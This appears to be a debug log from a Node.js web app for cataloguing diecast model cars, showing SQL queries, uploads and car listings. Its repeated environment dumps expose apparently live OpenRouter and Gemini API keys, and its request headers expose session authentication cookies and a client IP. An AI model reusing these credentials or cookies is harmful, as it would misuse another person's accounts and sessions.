      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:13:39.546Z server-connect:router Serving templateView /
2026-02-04T07:13:39.546Z server-connect:app Executing action step identify
2026-02-04T07:13:39.546Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:39.546Z server-connect:output identity: 1
2026-02-04T07:13:39.547Z server-connect:app Executing action step restrict
2026-02-04T07:13:39.547Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:39.547Z server-connect:output restrict: undefined
2026-02-04T07:13:39.547Z server-connect:app Executing action step restrict
2026-02-04T07:13:39.547Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:39.547Z server-connect:output restrict: undefined
2026-02-04T07:13:39.547Z server-connect:router Render template layouts/main
2026-02-04T07:13:39.547Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:13:47.031Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:13:47.032Z server-connect:app Executing action step identify
2026-02-04T07:13:47.032Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:47.032Z server-connect:output identity: 1
2026-02-04T07:13:47.032Z server-connect:app Executing action step restrict
2026-02-04T07:13:47.032Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:47.032Z server-connect:output restrict: undefined
2026-02-04T07:13:47.032Z server-connect:app Executing action step paged
2026-02-04T07:13:47.033Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:13:47.035Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:13:47.348Z server-connect:router Serving templateView /
2026-02-04T07:13:47.348Z server-connect:app Executing action step identify
2026-02-04T07:13:47.348Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:47.348Z server-connect:output identity: 1
2026-02-04T07:13:47.348Z server-connect:app Executing action step restrict
2026-02-04T07:13:47.348Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:47.349Z server-connect:output restrict: undefined
2026-02-04T07:13:47.349Z server-connect:app Executing action step restrict
2026-02-04T07:13:47.349Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:47.350Z server-connect:output restrict: undefined
2026-02-04T07:13:47.350Z server-connect:router Render template layouts/main
2026-02-04T07:13:47.350Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:13:59.220Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:13:59.220Z server-connect:app Executing action step identify
2026-02-04T07:13:59.220Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:59.220Z server-connect:output identity: 1
2026-02-04T07:13:59.220Z server-connect:app Executing action step restrict
2026-02-04T07:13:59.220Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:59.221Z server-connect:output restrict: undefined
2026-02-04T07:13:59.221Z server-connect:app Executing action step condition
2026-02-04T07:13:59.221Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:13:59.221Z server-connect:app Executing action step update
2026-02-04T07:13:59.221Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:13:59.222Z server-connect:output update: { affected: 1 }
2026-02-04T07:13:59.222Z server-connect:app Executing action step upload
2026-02-04T07:13:59.222Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:13:59.222Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T07:13:59.222Z server-connect:upload Process fields: 'images[]'
2026-02-04T07:13:59.222Z server-connect:upload Processing file: {
  name: '20260201_003113.jpg',
  data: <Buffer >,
  size: 260983,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-30-20378841770189239218',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'bdaf8caaa300691e461a0a11d42c4d09',
  mv: [Function: mv]
}
2026-02-04T07:13:59.222Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg',
  rel: 'public/assets/images/diecast/20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg'
}
2026-02-04T07:13:59.222Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg',
  rel: 'assets/images/diecast/20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg'
}
2026-02-04T07:13:59.222Z server-connect:output upload_image: [
  {
    name: '20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg',
    path: '/public/assets/images/diecast/20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg',
    url: '/assets/images/diecast/20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg',
    type: 'image/jpeg',
    size: 260983
  }
]
2026-02-04T07:13:59.222Z server-connect:app Executing action step repeat
2026-02-04T07:13:59.222Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:13:59.222Z server-connect:app Executing action step insert
2026-02-04T07:13:59.222Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:13:59.223Z server-connect:output images: { affected: 1, identity: 181 }
2026-02-04T07:13:59.223Z server-connect:output repeat_images: [ {} ]
2026-02-04T07:13:59.223Z server-connect:output condition: undefined
2026-02-04T07:13:59.440Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:13:59.440Z server-connect:app Executing action step identify
2026-02-04T07:13:59.441Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:59.441Z server-connect:output identity: 1
2026-02-04T07:13:59.441Z server-connect:app Executing action step restrict
2026-02-04T07:13:59.441Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:59.441Z server-connect:output restrict: undefined
2026-02-04T07:13:59.441Z server-connect:app Executing action step paged
2026-02-04T07:13:59.442Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:13:59.444Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:13:59.653Z server-connect:router Serving templateView /
2026-02-04T07:13:59.653Z server-connect:app Executing action step identify
2026-02-04T07:13:59.653Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:59.653Z server-connect:output identity: 1
2026-02-04T07:13:59.653Z server-connect:app Executing action step restrict
2026-02-04T07:13:59.653Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:59.653Z server-connect:output restrict: undefined
2026-02-04T07:13:59.654Z server-connect:app Executing action step restrict
2026-02-04T07:13:59.654Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:59.654Z server-connect:output restrict: undefined
2026-02-04T07:13:59.654Z server-connect:router Render template layouts/main
2026-02-04T07:13:59.654Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
